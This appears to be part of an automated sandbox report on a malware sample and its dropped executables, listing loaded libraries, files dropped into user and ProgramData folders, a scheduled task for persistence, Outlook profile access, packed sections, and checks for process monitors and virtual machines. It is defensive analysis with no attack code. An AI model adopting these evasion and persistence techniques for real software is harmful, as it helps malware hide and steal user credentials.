Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6608 --field-trial-handle=1700,i,16972167915651819867,13152536030924255002,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKJEGDBKFIJ.exe "C:\Users\user\DocumentsKJEGDBKFIJ.exe"
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1779712 > 1048576

Source: file.exe

Static PE information: Raw size of qjdxbwoo is bigger than: 0x100000 < 0x198a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2758158469.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.fe0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjdxbwoo:EW;duqvgveg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjdxbwoo:EW;duqvgveg:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Unpacked PE file: 26.2.DocumentsKJEGDBKFIJ.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 31.2.skotes.exe.c50000.1.unpack :EW;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aapaipka:EW;lvlzfpat:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

1_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.31.dr	Static PE information: real checksum: 0x43d9b9 should be: 0x25b4c5
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: real checksum: 0x1d9e44 should be: 0x1dc264
Source: file.exe	Static PE information: real checksum: 0x1b3499 should be: 0x1c1015
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x1d9e44 should be: 0x1dc264
Source: d96f7523a6.exe.31.dr	Static PE information: real checksum: 0x43d9b9 should be: 0x25b4c5
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1d9e44 should be: 0x1dc264

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qjdxbwoo
Source: file.exe	Static PE information: section name: duqvgveg
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: aapaipka
Source: random[1].exe.1.dr	Static PE information: section name: lvlzfpat
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name:
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name:
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: aapaipka
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: lvlzfpat
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: aapaipka
Source: skotes.exe.26.dr	Static PE information: section name: lvlzfpat
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe.31.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name: .idata
Source: random[1].exe.31.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name: mzywmxvx
Source: random[1].exe.31.dr	Static PE information: section name: dsaasqmi
Source: random[1].exe.31.dr	Static PE information: section name: .taggant
Source: d96f7523a6.exe.31.dr	Static PE information: section name:
Source: d96f7523a6.exe.31.dr	Static PE information: section name: .idata
Source: d96f7523a6.exe.31.dr	Static PE information: section name:
Source: d96f7523a6.exe.31.dr	Static PE information: section name: mzywmxvx
Source: d96f7523a6.exe.31.dr	Static PE information: section name: dsaasqmi
Source: d96f7523a6.exe.31.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B536 push ecx; ret		1_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00C6D91C push ecx; ret		31_2_00C6D92F

Source: file.exe	Static PE information: section name: qjdxbwoo entropy: 7.951942738011546
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.979585352252616
Source: random[1].exe.1.dr	Static PE information: section name: aapaipka entropy: 7.953405039685166
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: entropy: 7.979585352252616
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: aapaipka entropy: 7.953405039685166
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.979585352252616
Source: skotes.exe.26.dr	Static PE information: section name: aapaipka entropy: 7.953405039685166

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKJEGDBKFIJ.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009748001\d96f7523a6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKJEGDBKFIJ.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKJEGDBKFIJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
